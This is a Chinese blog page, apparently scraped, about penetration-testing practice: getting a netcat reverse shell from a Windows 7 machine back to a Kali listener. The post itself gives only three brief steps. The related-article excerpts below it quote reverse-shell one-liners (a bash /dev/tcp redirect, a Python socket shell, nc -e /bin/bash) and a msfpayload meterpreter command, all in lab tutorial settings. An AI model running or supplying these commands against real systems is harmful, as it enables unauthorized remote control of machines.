kali使用nc监听后，利用win7进行反弹shell

Kali Linux与Win7之间的Netcat反弹Shell实践

最新推荐文章于 2024-09-19 10:35:56 发布

原创最新推荐文章于 2024-09-19 10:35:56 发布 · 1.7k 阅读

5 ·

CC 4.0 BY-SA版权

文章标签：

#服务器 #linux #运维

本文介绍了如何在Kali Linux上监听4444端口，并通过Win7系统利用Netcat工具建立反弹Shell连接。在Kali端成功监听到Win7的Shell连接，展示了渗透测试中的常见技巧。

1、这里kali监听4444端口

2、这里win7使用netcat进行反弹shell

3、返回kali，已经监听成功

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

小乘杭

关注关注

0
点赞
踩
5

收藏

觉得还不错? 一键收藏
1
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

kali使用nc正向反弹windows shell

09-12

2058

3.kali主机运行终端并输入 nc 192.168.31.201 8888 回车后,将反弹windows系统shell到Kali终端。2.查看windows系统IP并运行ncat监听8888端口。现在可通过这个shell对windows系统进行任何操作。1.下载 ncat.exe 并上传到windows。

kali /mac 成功的反弹shell语句

没有故事

04-21

1714

2: 这条命令使用，kali 上执行的命令结果会在mac机器上显示出来，mac无法执行命令，kali上执行命令无结果，结果在mac上显示。8: 这个命令，在攻击机上执行，如果有报错会显示在受害者机器上，，攻击机上不显示报错语句。13:这条命令是同步两边执行的命令，不会显示结果。3: 命令执行成功，能反弹成功，但是输入命令无显示，不会用。14: 这条命令在攻击机上报错也不会同步到受害者机器上。该语句在监听机器上执行的语句会同步到被攻击机上。攻击机执行 ncat -u -lvp 3333。

1 条评论您还未登录，请先登录后发表或查看评论

Linux利用nc命令监控服务器端口的方法

11-12

最近碰到一个项目，前端用apache htttpd进行发布（80端口），通过双机负载均衡转发到后端的两个tomcat进行处理（8081和8082端口），现在需要随时监控这三个端口的情况，一旦down掉需要能够立即告警处理。批量的系统监控比较好的是用nagios软件来实现，这样小项目专门装一个nagios软件，有点繁琐了。在网上查了一些资料，总结实验了一下，可以用简单的nc命令来实现。

Kali使用Metapsloit渗透win10 生成 payload 反弹shell

weixin_45908624的博客

07-19

2788

windows payload 反弹shell

KALI LINUX网络扫描工具

Kali与编程

01-04

1208

Angry IP Scanner 是一款开源的网络扫描工具，它可以快速扫描网络中的所有设备，探测开放的端口和服务，以及发现潜在的漏洞。在渗透测试中，Netcat是一款重要的工具，可以用于快速识别目标主机的开放端口、测试网络服务的可用性、执行命令、上传和下载文件等。在扫描结果中，右键单击要扫描的设备，选择“Open”菜单，然后在“Ports”选项卡中输入要扫描的端口号。在渗透测试中，Netcat是一款非常重要的工具，可以用于快速识别目标主机的开放端口、测试网络服务的可用性、执行命令、上传和下载文件等。

kali生成shell监听目标主机

weixin_33805557的博客

10-21

689

生成监听用的shell.exe： reverse_tcp（反向连接） path : payload/windows/meterpreter/reverse_tcp msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8080 X > ～/Desktop/shell.exe reverse_...

nc端口监听工具瑞士军刀

03-11

什么是nc nc是netcat的简写，有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用，被设计为一个简单、可靠的网络工具 nc的作用（1）实现任意TCP/UDP端口的侦听，nc可以作为server以TCP或UDP方式侦听指定端口（2）端口的扫描，nc可以作为client发起TCP或UDP连接（3）机器之间传输文件（4）机器之间网络测速 nc的控制参数不少，常用的几个参数如下所列： 1) -l 用于指定nc将处于侦听模式。指定该参数，则意味着nc被当作server，侦听并接受连接，而非向其它地址发起连接。 2) -p 暂未用到（老版本的nc可能需要在端口号前加-p参数，下面测试环境是centos6.6，nc版本是nc-1.84，未用到-p参数） 3) -s 指定发送数据的源IP地址，适用于多网卡机 4) -u 指定nc使用UDP协议，默认为TCP 5) -v 输出交互或出错信息，新手调试时尤为有用 6）-w 超时秒数，后面跟数字 7）-z 表示zero，表示扫描时不发送任何数据前期准备准备两台机器，用于测试nc命令的用法主机A：ip地址 10.0.1.161 主机B：ip地址 10.0.1.162 两台机器先安装nc和nmap的包 yum install nc -y yum install nmap -y 如果提示如下-bash： nc： command not found 表示没安装nc的包 ———————————————— 版权声明：本文为优快云博主「小毛毛2013」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。原文链接：https://blog.youkuaiyun.com/u012486730/article/details/82019996

精选资源

详解NC反弹shell的几种方法

01-08

假如ubuntu、CentOS为...正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。需要目标机安装nc。反向反弹shell 方法1：bash反弹 bash -i >& /dev/tcp/ip/port 0>&1 但首先需要在kali上使用

使用NC在目标靶机win7处建立端口监听；正向shell和反向shell，攻击机为kali

最新发布

06-13

### 使用 Netcat (nc) 在 Windows 7 上设置端口监听，配置正向 Shell 和反向 Shell #### 1. 端口监听在攻击机（Kali Linux）上，可以使用以下命令来设置端口监听。假设监听端口为 `4444`： ```bash nc -lvnp 4444 ...

记一次nc反弹shell

^_^

11-30

623

在kali虚拟机上用nc监听端口7777 nc -lvp 7777 在ubuntu虚拟机上用python脚本去反向连接 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('?.?.?.?',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproce

nc.exe 监听端口转发端口

02-25

NC监听软件,转发端口，适合windows平台，利器！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

kali新手入门教学(13）--nc连接

azraelxuemo的博客

05-27

8723

nc 的全称为 NetCat,它能够建立并接受传输控制协议（TCP)和用户数据报协议(UDP)的连接，Netcat 可在这些连接上读写数据，直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲，NetCat 并不能产生 UDP 连接，因为 UDP 是一种无连接的协议。 nc 的命令行格式 nc 的基本命令行形式是 nc [options] host ports 其中 host 是要扫描的主机名或 IP地址 ports 要么是一个单独的端口，要么是一个端口范围(用 m-

反弹shell的几种方法

星河梦瑾的博客

09-19

1533

目标服务器系统：Ubuntu、CentOS。攻击者系统：Kali Linux，IP地址为 192.168.0.1，开放 4444 端口。反弹Shell：正向反弹Shell：目标机先执行 nc -lvp 4444 -e /bin/bash，然后攻击者使用 nc ip 4444 监听，可以实现Shell的反弹。反向反弹Shell：有多种方法，包括使用 bash、python、nc 本身，以及 php 来实现。每种方法都需要在攻击者机器上先使用 nc -lvp 端口号进行监听

端口监听测试

shy的博客

03-07

989

在工具当中经常会需要用到监听端口，用来接收一些数据或者shell、或者建立反向代理，但是时长监听不到数据，这个时候我们会想到是不是环境问题，防火墙问题、vps问题等等，但是首先要排除的就是监听问题。使用telnet 和 curl就可以在渗透过程中，排除监听问题了。kali上接收到数据，监听正常。使用telnet测试监听。1kali上开启监听。使用curl测试监听。

8.kali中NC工具的使用方法

分享学习网络的点点滴滴

04-15

6088

nc工具的详细使用

关于反弹shell的学习

weixin_74020633的博客

06-14

1061

反弹Shell（也称为反向Shell）是一种技术，通常用于远程访问和控制目标计算机。反弹Shell的工作原理是，目标计算机主动发起连接到攻击者的计算机，从而绕过一些常见的安全措施，如防火墙和NAT（网络地址转换）。这种技术常用于合法的远程管理和测试环境中，但也可能被恶意攻击者利用进行未授权的远程控制。通俗一点讲就是当存在一台攻击机和一台被攻击机时，攻击机（也就是客户端）连接被攻击机（服务端）叫做正向连接，那么反弹shell就是反向的连接，客户端为被攻击机，服务端为攻击机，由被攻击机连接攻击机。

kali实用工具之NC

2301_78384345的博客

08-17

622

获取shell分为两种，一种是正向shell，一种是反向shell。如果客户端连接服务器端，想要获取服务器端的shell，那么称为正向shell，如果是客户端连接服务器，服务器端想要获取客户端的shell，那么称为反向shell。相当于客户端监听6666端口的nc连接，并且把/bin/bash文件发出去，然后服务端相当于拿到了终端，就可以执行命令了。NC（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大。Nc主要功能是可以在两台设备上面相互交互，即侦听模式/传。

Kali使用Metasploit内、外网渗透windows系统

wouderw的博客

11-05

1080

内网穿透是我们在进行网络连接时的一种术语，也叫做NAT穿透，即在计算机是局域网内的时候，外网与内网的计算机的节点进行连接时所需要的连接通信，有时候就会出现内网穿透不支的情况。内网穿透的功能就是，当我们在端口映射时设置时，内网穿透起到了地址转换的功能，也就是把公网的地址进行翻译，转成为一种私有的地址，然后再采用路由的方式ADSL的宽带路由器，具有一个动态或者是固定的公网IP，最后ADSL直接在交换机上，这样所有的电脑都可以共享上网。-p, --payload 指定需要使用的payload(攻击荷载)。

反弹shell的方法总结(base64绕过等等)